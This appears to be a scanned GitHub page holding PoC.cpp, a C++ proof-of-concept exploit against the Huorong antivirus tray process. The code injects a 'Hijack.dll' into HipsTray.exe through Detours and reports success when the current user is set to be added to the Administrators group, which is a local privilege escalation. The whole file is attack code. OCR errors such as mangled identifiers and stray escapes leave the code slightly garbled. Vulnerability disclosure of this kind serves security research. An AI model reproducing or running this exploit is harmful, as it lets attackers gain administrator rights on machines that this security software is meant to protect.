

 \longleftrightarrow Code \odot Issues % Pull requests \odot Actions \boxplus Projects \odot Security \trianglerighteq Insights

PoC / PoC.cpp

```
yangfan6888 Add files via upload

At 1 contributor
```

...

```
75 lines (62 sloc) | 1.64 KB
                                                                                                                                                                                    ...
  1 #include "stdafx.h"
      #include <Windows.h>
      #include <Shlwapi.h>
      #include <stdio.h>
      #include "detours.h"
      #pragma comment( lib, "Shlwapi.lib")
      #pragma comment(lib,"detours_x86.lib")
      #define HIJACK_SUCCESS 888
 11
      int _tmain(int argc, _TCHAR* argv[])
 12
 13
 14
 15
              char szHuorongPath[512] = "C:\\Program Files (x86)\\Huorong\\Sysdiag\\bin\\HipsTray.exe";
 17
              if (!PathFileExistsA(szHuorongPath))
 18
                      printf("[-] HipsTray file not found (%s)!",szHuorongPath);
 19
 20
                      getchar();
 21
                      return -1;
 23
 24
              char szDLL[MAX_PATH] = {0};
              GetModuleFileName(NULL,szDLL,MAX_PATH);
strcpy(strrchr(szDLL,'\\')+1,"Hijack.dll");
 25
 26
 27
              if (!PathFileExistsA(szDLL))
 28
 30
                      printf("[-] \ Hijack \ file \ not \ found(%s)\n",szDLL);
 31
                      getchar();
 32
                      return -1;
 33
 34
 35
              STARTUPINFO si;
 36
              PROCESS_INFORMATION pi;
 37
              ZeroMemory( &si, sizeof(si) );
              si.cb = sizeof(si);
 38
 39
              ZeroMemory( &pi, sizeof(pi) );
 40
 41
              if( !DetourCreateProcessWithD11A( NULL,SzHuorongPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi,szDLL,NULL))
 42
 43
                      printf(\ "[-]\ CreateProcess\ failed\ (%d)\n",\ GetLastError()\ );
 44
                      getchar();
 45
                      return -1:
 46
              }
 47
              else
 48
              {
 49
                      printf("[+] CreateProcess success\n");
 50
 51
              WaitForSingleObject( pi.hProcess, INFINITE );
 52
 53
              DWORD dwExitCode = 0;
 55
              GetExitCodeProcess(pi.hProcess,&dwExitCode);
 56
              CloseHandle( pi.hProcess );
 57
              CloseHandle( pi.hThread );
 58
 59
              if (dwExitCode==HIJACK_SUCCESS)
 61
                      char szUser[128] = {0};
 62
                      DWORD dwSize = 128;
 63
                      GetUserName(szUser,&dwSize);
                      printf("[+] Hijack success,%s will be added to Administrators group after Huorong services restart or system reboot\n ",szUser);
 64
 65
              }
              else
 67
              {
 68
                      printf("[-] Hijack fail\n");
 69
                      getchar();
 70
                      return -1;
 71
 72
              getchar();
 74
              return 0;
```